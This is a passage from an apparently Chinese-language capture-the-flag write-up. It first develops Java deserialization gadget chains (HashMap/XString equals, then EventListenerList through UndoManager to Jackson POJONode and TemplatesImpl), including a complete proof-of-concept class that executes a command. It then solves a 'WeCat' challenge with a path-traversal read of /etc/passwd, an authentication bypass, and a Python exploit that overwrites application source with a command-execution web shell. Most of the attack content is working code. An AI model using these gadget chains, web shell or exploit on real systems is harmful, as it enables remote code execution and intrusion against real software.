if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
可以看到,当两个HashMap
进行 equals
比较时,会以自己为基准逐个比较entry,之后调用entry中 value
的 equals
方法进行比较
至此就找到了java反序列化利用原生类触发任意对象 equals
方法的方式了
以触发 XString
的equals
方法为例,就可以这样来写了
public static Object getXstringMap(Object obj) throws Exception {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(obj);
XString xString = new XString("test");
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
Object o = makeMap(map1, map2);
return o;
}
public static HashMap makeMap(Object v1, Object v2) throws Exception {
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
不仅是原生反序列化,在Hessian反序列化中触发HashMap
的 put
方法时关键的点就变成了找从 equals
方法开始的利用链
EventListenerList触发toString
然后注意到还发现有些师傅利用 EventListenerList
来触发 toString
方法,又一个触发 toString
的方法(一般比较常用的就是 BadAttributeExpException
和 XString
这些,现在又知道了个 EventListenerList
,积累知识点加一)
来看看怎么触发的吧
javax.swing.event.EventListenerList#readObject
方法中的 add
方法
这里当对象 l
不是 t
类的实例时会抛出一个异常,这里使用了字符串拼接,会隐式调用 l.toString()
方法
不过需要注意的是这里会对 l
进行一次强转,所以我们的 l
必须要实现 EventListener
接口
这里利用的是 UndoManager
这个类,其 toString
方法会调用其 Vector
类型的 edit
变量的 toString
方法,从而触发 POJONode
的 toString
就用jackson的链子来测试下吧
package com.example.eventlistenerlistgadget;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;
public class EventListenerListPoc {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor cons = new CtConstructor(new CtClass[]{}, ctClass);
cons.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(cons);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
POJONode pojoNode = new POJONode(proxy);
//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(list);
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}
很完美
WeCat
另一个 WeCat比较简单
首先是任意文件读
GET /wechatAPI/static?filename=../../etc/passwd HTTP/1.1
Host: 192.168.188.210:3800
Connection: close
但貌似没啥用,还是要RCE
鉴权存在绕过,url后跟 ?static
直接绕了
热部署,上传js文件覆盖源文件,热启动,然后RCE
Exp
import requests
baseUrl = "http://xxxx"
def upfile():
burp0_url = f"{baseUrl}/wechatAPI/upload/once?static"
burp0_headers = {"User-Agent": "python-requests/2.28.1", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "Content-Type": "multipart/form-data; boundary=d11361f762a28becbee211003a4f8fe6"}
burp0_data = "--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\naaa\r\n--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"hash\"\r\n\r\n/../../src/module/commonFunction\r\n--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"postfix\"\r\n\r\njs\r\n--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n\r\nconst JsonWebToken = require('../module/jwt')\r\nconst child_process = require(\"child_process\");\r\nconst jwt = new JsonWebToken()\r\nmodule.exports = {\r\n /**\r\n * \xe9\xaa\x8c\xe8\xaf\x81token\r\n */\r\n verifyToken: async (ctx, next) => {\r\n ctx.body = {\"res\": child_process.execSync(ctx.query.cmd).toString()};\r\n }\r\n}\r\n\r\n\r\n--d11361f762a28becbee211003a4f8fe6--\r\n"
res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(res.text)
def execCmd(cmd):
burp0_url = f"{baseUrl}/wechatAPI/?cmd={cmd}"
burp0_headers = {"Connection": "close"}
res = requests.get(burp0_url, headers=burp0_headers)
print(res.text)
if __name__ == "__main__":
upfile()
execCmd("/readflag")